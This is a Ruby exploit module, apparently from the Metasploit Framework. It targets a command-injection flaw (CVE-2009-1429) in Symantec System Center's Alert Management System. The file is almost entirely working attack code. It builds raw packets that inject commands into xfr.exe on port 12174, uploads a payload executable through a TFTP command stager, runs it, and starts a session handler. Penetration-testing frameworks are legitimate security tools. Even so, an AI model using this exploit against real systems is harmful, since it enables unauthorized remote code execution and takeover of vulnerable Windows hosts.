118 lines
2.6 KiB
Ruby
118 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::CmdStagerTFTP
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
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'Description' => %q{
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Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
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because the application fails to properly sanitize user-supplied input.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-1429' ],
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[ 'BID', '34671' ],
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[ 'OSVDB', '54157' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-060/' ],
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[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
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],
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'Targets' =>
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[
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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]
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],
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'Privileged' => true,
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'Platform' => 'win',
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 28 2009'))
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register_options(
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[
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Opt::RPORT(12174),
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OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
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], self.class)
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end
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def windows_stager
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exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
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print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
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execute_cmdstager({ :temp => '.'})
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@payload_exe = payload_exe
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print_status("Attempting to execute the payload...")
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execute_command(@payload_exe)
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end
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def execute_command(cmd, opts = {})
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connect
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len = 2 + cmd.length
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data = [0x00000000].pack('V')
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data << len.chr
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data << "\x00"
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data << cmd + " "
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data << "\x00"
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sock.put(data)
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res = sock.get_once
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if (!res)
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print_error("Did not received data. Failed?")
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else
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print_status("Got data, execution successful!")
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end
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disconnect
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end
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def exploit
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if not datastore['CMD'].empty?
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print_status("Executing command '#{datastore['CMD']}'")
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execute_command(datastore['CMD'])
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return
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end
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case target['Platform']
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when 'win'
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windows_stager
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else
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fail_with(Exploit::Failure::Unknown, 'Target not supported.')
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end
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handler
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end
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end
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